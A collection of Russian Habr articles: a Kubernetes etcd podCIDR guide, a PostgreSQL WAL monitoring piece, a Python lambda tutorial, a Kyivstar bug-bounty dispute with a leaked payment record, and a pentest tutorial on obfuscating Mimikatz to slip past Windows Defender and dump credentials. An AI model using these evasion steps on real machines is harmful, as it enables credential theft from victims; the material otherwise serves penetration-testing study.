* перезагружаем все узлы кластера.
Теперь подробнее об этих действиях:
1. Модифицируем ConfigMap'ы в пространстве имен `kube-system`:
```
kubectl -n kube-system edit cm kubeadm-config
```
— исправляем `data.ClusterConfiguration.networking.podSubnet` на новую подсеть `10.55.0.0/16`.
```
kubectl -n kube-system edit cm kube-proxy
```
— исправляем `data.config.conf.clusterCIDR: 10.55.0.0/16`.
2. Модифицируем манифест controller-manager'а:
```
vim /etc/kubernetes/manifests/kube-controller-manager.yaml
```
— исправляем `--cluster-cidr=10.55.0.0/16`.
3. Смотрим на текущие значения `.spec.podCIDR`, `.spec.podCIDRs`, `.InternalIP`, `.status.addresses` для всех узлов кластера:
```
kubectl get no -o json | jq '[.items[] | {"name": .metadata.name, "podCIDR": .spec.podCIDR, "podCIDRs": .spec.podCIDRs, "InternalIP": (.status.addresses[] | select(.type == "InternalIP") | .address)}]'
```
```
[
{
"name": "kube-2-master",
"podCIDR": "10.244.0.0/24",
"podCIDRs": [
"10.244.0.0/24"
],
"InternalIP": "192.168.199.2"
},
{
"name": "kube-2-master",
"podCIDR": "10.244.0.0/24",
"podCIDRs": [
"10.244.0.0/24"
],
"InternalIP": "10.0.1.239"
},
{
"name": "kube-2-worker-01f438cf-579f9fd987-5l657",
"podCIDR": "10.244.1.0/24",
"podCIDRs": [
"10.244.1.0/24"
],
"InternalIP": "192.168.199.222"
},
{
"name": "kube-2-worker-01f438cf-579f9fd987-5l657",
"podCIDR": "10.244.1.0/24",
"podCIDRs": [
"10.244.1.0/24"
],
"InternalIP": "10.0.4.73"
}
]
```
4. Заменим podCIDR, внеся правки напрямую в etcd:
```
./etcdhelper -cacert /etc/kubernetes/pki/etcd/ca.crt -cert /etc/kubernetes/pki/etcd/server.crt -key /etc/kubernetes/pki/etcd/server.key -endpoint https://127.0.0.1:2379 change-pod-cidr 10.55.0.0/16
```
5. Проверим, что podCIDR действительно изменился:
```
kubectl get no -o json | jq '[.items[] | {"name": .metadata.name, "podCIDR": .spec.podCIDR, "podCIDRs": .spec.podCIDRs, "InternalIP": (.status.addresses[] | select(.type == "InternalIP") | .address)}]'
```
```
[
{
"name": "kube-2-master",
"podCIDR": "10.55.0.0/24",
"podCIDRs": [
"10.55.0.0/24"
],
"InternalIP": "192.168.199.2"
},
{
"name": "kube-2-master",
"podCIDR": "10.55.0.0/24",
"podCIDRs": [
"10.55.0.0/24"
],
"InternalIP": "10.0.1.239"
},
{
"name": "kube-2-worker-01f438cf-579f9fd987-5l657",
"podCIDR": "10.55.1.0/24",
"podCIDRs": [
"10.55.1.0/24"
],
"InternalIP": "192.168.199.222"
},
{
"name": "kube-2-worker-01f438cf-579f9fd987-5l657",
"podCIDR": "10.55.1.0/24",
"podCIDRs": [
"10.55.1.0/24"
],
"InternalIP": "10.0.4.73"
}
]
```
6. По очереди перезагрузим все узлы кластера.
7. Если хотя бы у одного узла оставить **старый podCIDR**, то kube-controller-manager не сможет запуститься, а pod'ы в кластере не будут планироваться.
На самом деле, изменение podCIDR можно произвести и проще (например, [так](https://serverfault.com/a/977401)). Но ведь нам хотелось научиться работать с etcd напрямую, потому что существуют случаи, когда правка объектов Kubernetes в etcd — *единственный* возможный вариант. (Например, нельзя просто так без простоя изменить у Service поле `spec.clusterIP`.)
Итог
----
В статье рассмотрена возможность работы с данными в etcd напрямую, т.е. в обход Kubernetes API. Иногда такой подход позволяет делать «хитрые штуки». Приведенные в тексте операции мы тестировали на реальных K8s-кластерах. Однако их статус готовности к широкому применению — **PoC (proof of concept)**. Поэтому, если вы хотите использовать модифицированную версию утилиты etcdhelper на своих кластерах, делайте это на свой страх и риск.
P.S.
----
Читайте также в нашем блоге:
* «[etcd 3.4.3: исследование надёжности и безопасности хранилища](https://habr.com/ru/company/flant/blog/487534/)»;
* «[Calico для сети в Kubernetes: знакомство и немного из опыта](https://habr.com/ru/company/flant/blog/485716/)»;
* «[6 занимательных системных багов при эксплуатации Kubernetes [и их решение]](https://habr.com/ru/company/flant/blog/443458/)»;
* «[Визуальное руководство по диагностике неисправностей в Kubernetes](https://habr.com/ru/company/flant/blog/484954/)». | https://habr.com/ru/post/501956/ | null | ru | null |
# Обходим Windows Defender дешево и сердито: обфускация Mimikatz
Всем привет. Сегодня рассмотрим вариант запуска mimikatz на Windows 10. Mimikatz — инструмент, реализующий функционал Windows Credentials Editor и позволяющий извлечь аутентификационные данные залогинившегося в системе пользователя в открытом виде.
В ходе пентеста полезно иметь штуку, которая сдампит пароли юзеров, но сейчас даже встроенный в винду стандартный Windows Defender становится проблемой и может помешать нашим грандиозным планам.
Замечу, что этот способ подходит и для других антивирусных продуктов (Virustotal ДО и ПОСЛЕ тоже так считает), которые проводят статичный анализ бинарников по сигнатурам.
Так что хоть и данный способ вряд ли поможет вам против EDR решений, но легко поможет обойти Windows Defender.
Раньше его можно было обойти изменением слов в файле с mimikatz на mimidogz, удалением пары строк в метаданных и баннеров. Сейчас же это стало сложнее, но все же возможно.
За идею всего этого действа выражаю благодарность человеку с ником ippsec.
В данной статье мы будем использовать:
* Windows 10 с включенным Windows Defender (с обновленными базами)
* [Mimikatz](https://github.com/gentilkiwi/mimikatz)
* [Visual Studio](https://visualstudio.microsoft.com/ru/)
* [HxD](https://mh-nexus.de/en/hxd/) (hex редактор)
Копируя mimikatz на компьютер жертвы, мы ожидаемо видим такой алерт.
Далее мы проведем серию манипуляций, чтобы Defender перестал видеть тут угрозу.
Первым делом, найдем и заменим слова mimikatz. Заменим mimikatz например на thunt (заменить можно на что угодно), а MIMIKATZ на THUNT. Выглядит это примерно вот так.
Следом отредактируем в Visual Studio файл mimikatz\mimikatz\mimikatz.rc (который после нашей замены теперь thunt.rc), заменяя mimikatz и gentilkiwi на что угодно, также не забудем заменить mimikatz.ico на любую другую иконку. Жмем «пересобрать решение» (или rebuild solution) и получаем нашу обновленную версию mimikatz. Скопируем на компьютер жертвы, иии…алерт. Давайте узнаем, на что срабатывает Defender. Самый простой способ это копировать бинарник с разным размером до первого срабатывания антивируса.
Для начала скопируем половину и скопируем на машину с Windows 10.
```
head –c 600000 mimikatz.exe > hunt.exe
```
Defender молчит, уже неплохо. Экспериментируя, найдем первое срабатывание. У меня это выглядело так:
```
head -c 900000 mimikatz.exe > hunt.exe – не сработал
head -c 950000 mimikatz.exe > hunt.exe – сработал
head -c 920000 mimikatz.exe > hunt.exe – не сработал
head -c 930000 mimikatz.exe > hunt.exe – не сработал
head -c 940000 mimikatz.exe > hunt.exe – сработал
head -c 935000 mimikatz.exe > hunt.exe – не сработал
head -c 937000 mimikatz.exe > hunt.exe – сработал
head -c 936000 mimikatz.exe > hunt.exe – не сработал
head -c 936500 mimikatz.exe > hunt.exe – сработал
head -c 936400 mimikatz.exe > hunt.exe – сработал
head -c 936300 mimikatz.exe > hunt.exe – сработал
head -c 936200 mimikatz.exe > hunt.exe – не сработал
```
Откроем hunt.exe в hex редакторе и смотрим, на что может сработать Defender. Глаз уцепился за строку KiwiAndRegistryTools.
Поиграемся со случайным капсом — стало KiWIAnDReGiSTrYToOlS, сохраним и скопируем. Тишина, а это значит, что мы угадали. Теперь найдем все вхождения этих строк в коде, заменим и пересоберем наш проект. Для проверки выполним head -c 936300 mimikatz.exe > hunt.exe. В прошлый раз Defender сработал, сейчас нет. Движемся дальше.
Таким не хитрым способом, добавляя все больше строк в наш hunt.exe, были обнаружены слова-триггеры — wdigest.dll, isBase64InterceptOutput, isBase64InterceptInput, multirdp, logonPasswords, credman. Меняя их случайным капсом, я добивался того, что Defender перестал на них ругаться.
Но не может же быть все так легко, подумал Defender и сработал на функции, которые импортируются и чувствительны к регистру. Это функции, которые вызываются из библиотеки netapi32.dll.
* I\_NetServerAuthenticate2
* I\_NetServerReqChallenge
* I\_NetServerTrustPasswordsGet
Если мы взглянем на netapi32.dll (C:\windows\system32\netapi32.dll), то мы увидим, что каждой функции присвоен номер.
Изменим вызов функции с вида
windows.netapi32.I\_NetServerTrustPasswordsGet(args)
на
windows.netapi32[62](args)
Для этого нам надо заменить mimikatz\lib\x64\netapi32.min.lib. Создадим файл netapi32.def и запишем туда следующие строки:
```
LIBRARY netapi32.dll
EXPORTS
I_NetServerAuthenticate2 @ 59
I_NetServerReqChallenge @ 65
I_NetServerTrustPasswordsGet @ 62
```
Сохраняем и выполним команду (не забудьте на всякий случай сделать бэкап оригинала netapi32.min.lib)
```
lib /DEF:netapi32.def /OUT:netapi32.min.lib
```
В очередной раз пересоберем проект и скопируем то, что у нас получилось. Defender молчит. Запустим получившейся mimikatz с правами администратора.
Успех. Таким образом mimikatz запущен и Windows Defender не сработал, чего мы и добивались. Пароли, явки и хеши выданы.
**Подводные камни**
Ожидание:
```
* Username : thunt
* Domain : DESKTOP-JJRBJJA
* Password : Xp3#2!^&qrizc
```
Реальность:
```
* Username : thunt
* Domain : DESKTOP-JJRBJJA
* Password : (null)
```
Ситуация в жизни несколько отличается от лабораторных условий. Возможно, для просмотра пароля вам придется поработать с реестром. Например, включить или создать ключ UseLogonCredential (HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest). Но и с этим могут возникнуть проблемы, т.к. при перезагрузке ключи могут выставляться обратно.
Может быть и ещё хуже, если в случае запуска на одной из последних версии Windows 10, вместо пароля в plain-text вы увидите вот такое:
```
* Password : _TBAL_{68EDDCF5-0AEB-4C28-A770-AF5302ECA3C9}
```
Все дело в механизме TBAL, который является наследником Automatic Restart Sign-On ([ARSO](https://docs.microsoft.com/ru-ru/windows-server/security/windows-authentication/winlogon-automatic-restart-sign-on-arso)). Теперь, когда запрашивается TBAL, lsasrv проверяет является ли аккаунт локальным или MS аккаунтом, и исходя из этого, использует msv1\_0 или cloudAP, чтобы сохранить все необходимое для возобновления сессии пользователя. После чего механизму autologon выставляется захардкоженный пароль \_TBAL\_{68EDDCF5-0AEB-4C28-A770-AF5302ECA3C9}.
Тем не менее в лабораторных условиях мы получили пароль пользователя, а в боевой обстановке как минимум можем получить хеши. | https://habr.com/ru/post/454758/ | null | ru | null |
# PostgreSQL: как и почему пухнет WAL
 Чтобы сделать мониторинг полезным, нам приходится прорабатывать разные сценарии вероятных проблем и проектировать дашборды и триггеры таким образом, чтобы по ним сразу была понятна причина инцидента.
В некоторых случаях мы хорошо понимаем, как работает тот или иной компонент инфраструктуры, и тогда заранее известно какие метрики будут полезны. А иногда мы снимаем практически все возможные метрики с максимальной детализацией и потом смотрим, как на них видны те или иные проблемы.
Сегодня будем смотреть как и почему может распухать Write-Ahead Log (WAL) постгреса. Как обычно — примеры из реальной жизни в картинках.
Немного теории WAL в postgresql
-------------------------------
Любое изменение в базе данных в первую очередь фиксируется в WAL, и только после этого изменяются данные в странице в buffer cache и она помечается как dirtied — нуждающаяся в сохранении на диск. Кроме того периодически запускается процесс **CHECKPOINT**, который сохраняет на диск все dirtied страницы и сохраняет номер сегмента WAL, вплоть до которого все измененные страницы уже записаны на диск.
Если вдруг postgresql по какой-то причине аварийно завершится и запустится снова, в процессе восстановления будут проигрываться все сегменты WAL с момента последнего checkpoint.
Сегменты WAL предшествующие чекпоинту нам уже не пригодятся для поставарийного восстановления БД, но в постгресе WAL также участвует в процессе репликации, а еще может быть настроено резервное копирование всех сегментов для целей Point In Time Recovery — PITR.
Опытный инженер уже наверное всё понял, как оно ломается в реальной жизни:)
Давайте смотреть графики!
WAL распух #1
-------------
Наш мониторинговый агент для каждого найденного инстанса постгреса вычисляет путь на диске до директории с wal и снимает как суммарный размер, так и количество файлов (сегментов):
Первым делом смотрим, как давно у нас запускался CHECKPOINT.
Метрики берем из pg\_stat\_bgwriter:
* **checkpoints\_timed** — счетчик запусков чекпоинтера, произошедших по условию превышения времени с последнего чекпоинта более чем на *pg\_settings.checkpoint\_timeout*
* **checkpoints\_req** — счетчик запусков чекпоинтера по условию превышения размера wal с последнего чекпоинта
Видим, что checkpoint давненько не запускался. В данном случае напрямую понять причину НЕзапуска это процесса невозможно (а было бы круто конечно), но мы то знаем, что в постгресе очень много проблем возникает из-за длинных транзакций!
Проверяем:
Дальше понятно, что делать:
* убивать транзакцию
* разбираться с причинами, почему она долгая
* ждать, но проверить, что места хватит
Еще один важный момент: **на репликах, подключенных к данному серверу, wal так же распух**!
WAL archiver
------------
По случаю напоминаю: репликация не бэкап!
Хороший бэкап должен позволять восстановиться на любой момент времени. Например, если кто-то "случайно" выполнил
```
DELETE FROM very_important_tbl;
```
То у нас должна быть возможность восстановить базу на состояние ровно перед этой транзакцией. Это называется PITR (point-in-time recovery) и реализуется в postgresql периодическими полными бэкапами базы + сохранением всех сегментов WAL после дампа.
За резервное копирование wal отвечает настройка [archive\_command](https://www.postgresql.org/docs/current/static/continuous-archiving.html), постгрес просто запускает заданную вами команду, и если она завершается без ошибки, сегмент считается успешно скопированным. Если получилась ошибка — будет пробовать до победного, сегмент при этом будет лежать на диске.
Ну и в качестве иллюстрации — графики сломанной архивации wal:
Здесь помимо самого размера всех сегментов wal, есть *unarchived size* — это размер сегментов, которые еще не считаются успешно сохраненными.
Статусы считаем по счетчикам из pg\_stat\_archiver. На количество фэйлов мы сделали автотриггер для всех клиентов, так как оно достаточно часто ломается, особенно когда в качестве места назначения используется какое-то облачное хранилище (S3 к примеру).
Replication lag
---------------
Streaming replication в посгтресе работает через передачу и проигрывания wal на репликах. Если по каким-то причинам реплика отстала и не проиграла какое-то количество сегментов, мастер будет хранить для нее *pg\_settings.wal\_keep\_segments* сегментов. Если реплика отстанет на бОльшее количество сегментов, она больше не сможет подключиться к мастеру (придется наливать заново).
Для того, чтобы гарантировать сохранение любого нужного количества сегментов, в 9.4 появился функционал слотов репликации, о котором речь пойдет дальше.
Replication slots
-----------------
Если репликация настроена с использованием replication slot и к слоту было хотя бы одно успешное подключение реплики, то в случае, если реплика пропадает, постгрес будет хранить все новые сегменты wal до тех пор, пока не кончится место.
То есть забытый слот репликации может быть причиной распухания wal. Но к счастью мы можем мониторить состояние слотов через pg\_replication\_slots.
Вот как это выглядит на живом примере:
На верхнем графике мы рядом с размером wal всегда отображаем либо слот с максимальным количеством накопленных сегментов, но так же есть детальный график, который покажет какой именно слот распух.
После того, как мы поняли, что за слот копит данные, мы либо можем починить связанные с ним реплики, либо просто его удалить.
Я привел самые распространенные случаи распухания wal, но уверен есть и другие кейсы (баги в постгресе тоже иногда встречаются). Поэтому важно мониторить размер wal и реагировать на проблемы раньше, чем кончится место на диске и база перестанет обслуживать запросы.
*Наш [сервис мониторинга](https://okmeter.io/?utm_source=habr&utm_medium=habr-post&utm_campaign=blog&utm_content=pg_wal) уже всё это умеет собирать, правильно визуализировать и алертить. А еще у нас есть on-premises вариант поставки для тех, кому облако не подходит.* | https://habr.com/ru/post/421061/ | null | ru | null |
# Лямбда-функция в Python простыми словами
В этой статье вы подробнее изучите анонимные функции, так же называемые "лямбда-функции". Давайте разберемся, что это такое, каков их синтаксис и как их использовать ( с примерами).
Лямбда-функции в Python являются анонимными. Это означает, что функция безымянна. Как известно, ключевое слов `def` используется в Python для определения обычной функции. В свою очередь, ключевое слово `lambda` используется для определения анонимной функции.
Лямбда-функция имеет следующий синтаксис.
-----------------------------------------
```
Lambda аргументы: выражение
```
Лямбда-функции могут иметь любое количество аргументов, но у каждой может быть только одно выражение. Выражение вычисляется и возвращается. Эти функции могут быть использованы везде, где требуется объект-функция.
### 1.1. Пример лямбда-функции.
Ниже представлен пример лямбда-функции, удваивающей вводимое значение.
```
double = lambda x: x*2
print(double(5))
```
**Вывод:**
```
10
```
В вышеуказанном коде `lambda x: x*2` — это лямбда-функция. Здесь `x`— это аргумент,а`x*2` — это выражение, которое вычисляется и возвращается.
Эта функция безымянная. Она возвращает функциональный объект с идентификатором `double`. Сейчас мы можем считать её обычной функцией.
Инструкция:
```
double = lambda x: x*2
```
Эквивалентна:
```
def double(x):
return x * 2
```
* Эта функция может иметь любое количество аргументов, но вычисляет и возвращает только одно значение
* Лямбда-функции применимы везде, где требуются объекты-функции
* Вы должны помнить, что синтаксически лямбда-функция ограничена, позволяет представить всего одно выражение
* Они имеют множество вариантов применения в конкретных областях программирования, наряду с другими типами выражений, используемых в функциях.
2. Различие между обычной функцией и лямбда-функцией
----------------------------------------------------
Рассмотрим пример и попробуем понять различие между определением (`Def`)для обычной функции и `lambda`**-**функции. Этот код возвращает заданное значение, возведенное в куб:
```
def defined_cube(y):
return y*y*y
lambda_cube = lambda y: y*y*y
print(defined_cube(2))
print(lambda_cube(2))
```
Вывод:
```
8
8
```
Как показано в примере выше, обе представленные функции, `defined_cube()` и `lambda_cube()`, ведут себя одинаково, как и предполагалось.
Разберем вышеуказанный пример подробнее:
* **Без использования лямбды:** Здесь обе функции возвращают заданное значение, возведенное в куб. Но при использовании `def`**,** нам пришлось определить функцию с именем и `defined_cube()` дать ей входную величину. После выполнения нам также понадобилось возвратить результат, из того места, откуда была вызвана функция, и мы сделали это, используя ключевое слово `return`**.**
* **С применением лямбды:** Определение лямбды не включает оператор `return`**,** а всегда содержит возвращенное выражение. Мы также можем поместить определение лямбды в любое место, где ожидается функция, и нам не нужно присваивать его переменной. Так выглядят простые лямбда-функции.
3. Лямбда-функции и функции высшего порядка
-------------------------------------------
Мы используем лямбда-функцию, когда нам ненадолго требуется безымянная функция.
В Python мы часто используем их как аргумент функции высшего порядка (функции, которая принимает другие функции в качестве аргументов). Лямбда-функции используют вместе с такими встроенными функциями как `filter()`, `map()`**,**`reduce()` и др.
Давайте рассмотрим еще несколько распространенных вариантов использования лямбда-функций.
### 3.1. Пример с filter()
Функция `filter()` в Python принимает в качестве аргументов функцию и список .
Функция вызывается со всеми элементами в списке, и в результате возвращается новый список, содержащий элементы, для которых функция результирует в `True`.
Вот пример использования функции `filter()` для отбора четных чисел из списка.
```
my_list = [1, 3, 4, 6, 10, 11, 15, 12, 14]
new_list = list(filter(lambda x: (x%2 == 0) , my_list))
print(new_list)
```
**Вывод**:
```
[4, 6, 10, 12, 14]
```
### 3.2. Пример с map()
Функция `map()` принимает в качестве аргументов функцию и список.
Функция вызывается со всеми элементами в списке, и в результате возвращается новый список, содержащий элементы, возвращенные данной функцией для каждого исходного элемента.
Ниже пример использования функции `map()` для удвоения всех элементов списка.
```
current_list = [1, 3, 4, 6, 10, 11, 15, 12, 14]
new_list = list(map(lambda x: x*2 , current_list))
print(new_list)
```
**Вывод:**
```
[2, 6, 8, 12, 20, 22, 30, 24, 28]
```
### 3.3. Пример с reduce()
Функция `reduce()` принимает в качестве аргументов функцию и список. Функция вызывается с помощью лямбда-функции и итерируемого объекта и возвращается новый уменьшенный результат. Так выполняется повторяющаяся операцию над парами итерируемых объектов. Функция `reduce()` входит в состав модуля `functools`**.**
```
from functools import reduce
current_list = [5, 15, 20, 30, 50, 55, 75, 60, 70]
summa = reduce((lambda x, y: x + y), current_list)
print(summa)
```
**Вывод:**
```
380
```
Здесь результаты предыдущих двух элементов суммируются со следующим элементом, и это продолжается до конца списка, вот так:
```
5+15+20+30+50+55+75+60+70
```
4. Лямбда и списковое включение
--------------------------------
В этом примере мы будем использовать лямбда-функцию со списковым включением и лямбда-функцию с циклом `for`. Мы выведем на экран таблицу из 10 элементов.
```
tables = [lambda x = x: x*10 for x in range(1, 11)]
for table in tables:
print(table())
```
**Вывод:**
```
10
20
30
40
50
60
70
80
90
100
```
5. Лямбда и условные операторы
------------------------------
Давайте рассмотрим использование условий if-else в лямбда-функции. Как вы знаете, Python позволяет нам использовать однострочные условия, и именно их мы можем помещать в лямбда-функцию для обработки возвращаемого результата.
Например, есть две цифры, и вы должны определить, какая из них представляет наибольшее число.
```
max_number = lambda a, b: a if a > b else b
print(max_number(3, 5))
```
**Вывод:**
```
5
```
Этот метод позволяет вам добавлять условия в лямбда-функции.
6. Лямбда и множественные операторы
-----------------------------------
Лямбда-функции не допускают использования нескольких операторов, однако мы можем создать две лямбда-функции, а затем вызвать вторую лямбда-функцию в качестве параметра для первой функции. Давайте попробуем найти второй по величине элемент, используя лямбду.
```
current_list = [[10,6,9],[0, 14, 16, 80],[8, 12, 30, 44]]
sorted_list = lambda x: (sorted(i) for i in x)
second_largest = lambda x, func: [y[len(y)-2] for y in func(x)]
result = second_largest(current_list, sorted_list)
print(result)
```
**Вывод:**
```
[9, 16, 30]
```
В предыдущем примере, мы создали лямбда-функцию, которая сортирует каждый вложенный список в заданном списке. Затем этот список проходит как параметр для второй лямбда-функции, которая возвращает элемент `n-2` из отсортированного списка, где `n` — длина вложенного списка.
Заключение
----------
Теперь вы знаете как использовать в Python `lambda`-функции и можете:
* Писать и использовать лямбда-функции.
* Рационально выбирать между обычными и лямбда-функциями в Python.
* Использовать лямбды с функциями высшего порядка или ключевыми функциями.
* Использовать лямбды с абстракциями списков.
* Добавлять условия к лямбда-функциям. | https://habr.com/ru/post/674234/ | null | ru | null |
# Уязвимости Киевстара: 1) разбор предыдущего поста про пароли + 2) инфо о покупках, проходящих через сервисы Киевстара
Привет. Я тот, кто полгода назад получил логины и пароли Киевстара от таких важных сервисов, как: JIRA, Amazon Web Services, Apple Developer, Google Developer, Bitbucket и многих других, зарепортил их по Bug Bounty и получил ~~50 долларов~~ различные комментарии к репостам моей публикации.
Например:
* Собственно, Хабр, 33 тысячи просмотров, 188 комментариев: [Bug Bounty Киевстара: награда за админский доступ к сервисам Jira, AWS, Apple, Google Developer, Bitbucket — 50 долларов](https://habr.com/post/418591/)
* AIN.UA, 12 тысяч просмотров: [Тестировщик получил доступ к корпоративным сервисам Киевстар. Ему предложили всего $50](https://ain.ua/2018/07/31/kyivstar-bug-bounty/)
* ITC.ua, 350 комментариев: [«Киевстар» предложил пользователю $50 за найденные пароли к корпоративным системам, тот остался недоволен](https://itc.ua/news/kievstar-zaplatil-polzovatelyu-50-za-naydennyie-paroli-k-korporativnyim-sistemam-tot-ostalsya-nedovolen/)
* Ebanoe.IT, 26 тысяч просмотров, 169 комментариев: [Хакеру всунули подачку 50$ за найденную уязвимость в системе Киевстар](https://ebanoe.it/2018/08/08/hacker-per-50-dollars/)
Спасибо вам за поддержку и комментарии! Итоги голосования:
На некоторые комментарии я по тем или иным причинам тогда не ответил, но не могу не ответить сейчас.
Напомню, что мне случайно пришло письмо с закладками из рабочего браузера сотрудника Киевстар. Я по очереди открыл все 113 закладок и обнаружил среди них файл с названиями сервисов, логинами и паролями и другой информацией. Да, файл находился на Google Docs с правами доступа «Для всех».
**У меня были опасения в их будущей реакции на репорт, поэтому**
Сперва на Bugcrowd я сообщил, чтобы они срочно поменяли пароли. Мне ответили, что знают про индексацию файлов из поста на [Хабре](https://habr.com/post/416219) и уже закрыли везде такие файлы.
Я указал, что не закрыли, и прислал скриншоты, где видно, что я смог войти рандомно в их учётки.
Затем меня спросили, как я получил такие данные, и я указал, как (получил на e-mail).
Потом спросили, как я смог получить такой e-mail — и я ответил, что я везунчик, или просто сотрудница опечаталась, когда отправляла закладки себе (так и оказалось в итоге).
В процессе переписки моему сигналу был присвоен наивысший приоритет — P1 (Sensitive Data Exposure: Critically Sensitive Data — Password Disclosure), в рамках которого выплаты составляют от $1000 до $3000 (а ещё можно сложить Mobile + WEB apps).
Ну а дальше вы знаете.
Когда мой коллега Егор Папышев поделился своим [мнением](https://www.facebook.com/photo.php?fbid=984002965103065&set=a.296052180564817&type=3&permPage=1) в Facebook, было неприятно услышать, как другой уважаемый человек (Владимир Стыран, специалист по информационной безопасности — CISSP, CISA, OSCP, CEH), был негативно настроен к ситуации, и писал Егору, что тот не знает деталей и не разобрался в ситуации.
При этом Владимир и сам не разобрался в ситуации. Вот его насмешливый пост:
(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = 'https://connect.facebook.net/en\_US/sdk.js#xfbml=1&version=v3.2';
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));
> Якщо в тебе є баг і ти його викидаєш в паблік, це називається Full Disclosure.
>
> Якщо в тебе є баг і ти його віддаєш...
>
> Опубликовано [Volodymyr Styran](https://www.facebook.com/vstyran) [Среда, 1 августа 2018 г.](https://www.facebook.com/vstyran/posts/10156637747087372)
Я переведу и прокомментирую несколько последних пунктов:
* *Если ты не в курсе, что обжаловать сумму выплаты тебе мог помочь саппорт брокера, через которого ты сообщил вендору багу, потому что вообще-то это одна из его ролей в ваших трехсторонних отношениях, это называется лохануться.* — Саппорт Bugcrowd в переписке со мной неоднократно поддерживал моё мнение и мнение большинства, что Киевстар неправ и должен был выплатить больше. «Брокер» не смог повлиять на оператора. И лоханулся тут не я.
* *Если ты начинаешь угрожать вендору Full Disclosure в случае не увеличения выплаты, это называется вымогательство или шантаж. Но скорее всего это назовут вымогательством, потому что за шантаж в кодексе нет статьи.* — Шантажа и вымогательства не было. Угроз не было. Владимир знал бы об этом, если бы читал тот отчёт. Что характерно, мой аккаунт на Bugcrowd заблокировали (это нестрашно) не сразу после выхода поста на Хабре, а где-то через неделю, как раз одновременно с другим его едким постом в FB.
* *Если же у тебя нет бага, ты прочитал о нем на Хабре, ты рассказал о нем у себя на странице в Фейсбуке, чтобы получить N лайков и + M фолловеров, то ты блоггер и тут нечем гордиться.* — Тут и добавить нечего.
Впрочем, как мне стало известно, Владимир участвовал в запуске Bug Bounty компании Киевстар, поэтому я допускаю, что у него замыленный глаз.
Идём дальше. Простой пример: Apple Developer, скриншоты их консоли вы видели в моём посте.
В файле с паролями были ещё строки и колонки, и конкретно по Apple было указано следующее: Last modified — 18.05.2016.
Т.е. последний раз данные учётки разработчика Apple редактировались ещё в мае 2016-го — более, чем за год до получения мной письма и нахождения в нём ссылки. Что, опять-таки, подтверждается тем фактом, что я смог войти с указанным паролем.
Таким образом, говоря про безопасность бизнес-процессов в Киевстаре, можно подытожить:
* мало того, что логины и пароли хранились (или хранятся?) на внешнем общедоступном ресурсе Google Docs с правами доступа «Для всех»,
* мало того, что для входа не требуется двухфакторная аутентификация,
* мало того, что многие пароли были словарными и легко подбираемыми и имели вид (изменено) upsups92, suchapassword, DigitTeam2017, Digital2016, Kyivstardigteam2017, ks-anya$bd2016, KSDigit2018,
* так эти пароли ещё и не менялись больше года.
Что ещё. Многие так и не поняли, почему была указана такая странная сумма в $5800, почему не $6000 ровно, почему сразу не миллион долларов? — «По его мнению, лишь официальная стоимость аккаунтов превышает $5800».
Ответ на этот вопрос был с самого начала на Хабре, его попросту не заметили:
> [](https://habrastorage.org/webt/5f/cf/xb/5fcfxbxhibmtk0kkzdapy3r5rhc.png)
>
> *(для увеличения изображения откройте его в новой вкладке)*
Ключевое здесь "**откройте его в новой вкладке**" — при нажатии на изображение ([прямая ссылка](https://hsto.org/webt/5f/cf/xb/5fcfxbxhibmtk0kkzdapy3r5rhc.png)) открывалась полная картинка, где также видны другие колонки: Last modified, Paid till (date), Need till (date), Project (as in ASUP), Type of payment, Cost, Currency.
Путём простого суммирования цифр из колонки «Cost» мной и была получена цифра в $5800 — это официальная (а не придуманная мной) стоимость аккаунтов в перечисленных сервисах, которую я указал в отчёте на Bugcrowd.
Я не просил и не требовал ни эту сумму, ни любую другую, как тогда соврал [Soultan](https://habr.com/ru/users/soultan/), а сравнил указанное их вознаграждение в $50 с минимальным возможным ущербом — попросту говоря, с потерей доступа к сервисам, на покупку которых они потратили >$5800.
Далее.
> Если кому интересно, не так давно программа BugBounty Киевстара была закрыта полностью (не приватный режим, а именно закрыта), а сотрудник Soultan, который отвечал здесь на комментарии, не так давно ушёл из Киевстара.
>
>
>
> Кстати, в комментариях под его прощальной записью об уходе из компании ему пишет «В добрый путь, Виталий!» сотрудница, которая и отправила тот злосчастный e-mail. Такие дела.
Выделенную выше информацию я дописал небольшим апдейтом к первоначальному посту. Я не злорадствую по этому поводу. Они совершили тогда ошибку — возможно, расплачиваются.
[pyrk2142](https://habr.com/ru/users/pyrk2142/) в комментариях [спросил](https://habr.com/post/418591/#comment_19341012):
> Это достаточно неожиданно. Получается, что информация [здесь](https://kyivstar.ua/ru/bugbounty) больше не актуальна?
И сейчас я могу ответить, что да, информация по Bug Bounty Киевстара неактуальна: я нашёл возможность получать информацию о покупках людей, проходящих через платёжные сервисы Киевстара, даже если те не являются его клиентами. **Я дал компании второй шанс — но она им не воспользовалась**.
Итак, инфо о покупках, проходящих через сервисы Киевстара, по картам даже не\_клиентов последнего.
Во время тестирования приложения одной компании я обнаружил, что Киевстар выступает как платёжный провайдер в рамках сотрудничества с Visa QR Payments — mVisa — оплаты с помощью QR-кода идут через [qrpayments.kyivstar.ua](https://qrpayments.kyivstar.ua/).
Это транзакции клиентов в таких торговых точках, как, например:
* Crema Caffe, Kyiv,
* Smachno, Kyiv,
* Third Floor Cafe, Kyiv — первые и чаще всего операции были именно здесь. По всей видимости, это кафе на 3-м этаже в офисе Киевстара, где и начали тестирование QR-оплат;
* Auchan, Kyev,
* Auchan, Lviv,
* Auchan, Dnipropetrovska — сеть гипермаркетов Ашан (Украина);
* mVisa merchant;
* GIVC, Kiev — ГИВЦ, Главный информационно-вычислительный центр, Киев. Здесь происходят начисления и расчёты за большинство коммунальных платежей жителей Киева;
* GERC, Odesa — ГЕРЦ, Городской единый расчётный центр, Одесса. Аналогично ГИВЦ выше, только охват ещё больше: сайт предназначен не только для населения Одессы, но и для таких городов, как: Киев, Белгород-Днестровский, Рени, Черноморск и Южный;
* и пр.
Пример полученных данных:
```
{"Id":1305 Date:"2018-10-05T15:15:42.3921295" State:0 Amount:-1278.8100 TipsAmount:0.0000 Currency:"UAH" MerchantName:"Auchan" MerchantCity:"Lviv" MerchantId:"4109499405597549" ApprovalCode:"516634" ReferenceNumber:"" CardNumber:"5375XXXXXXXX3858"}
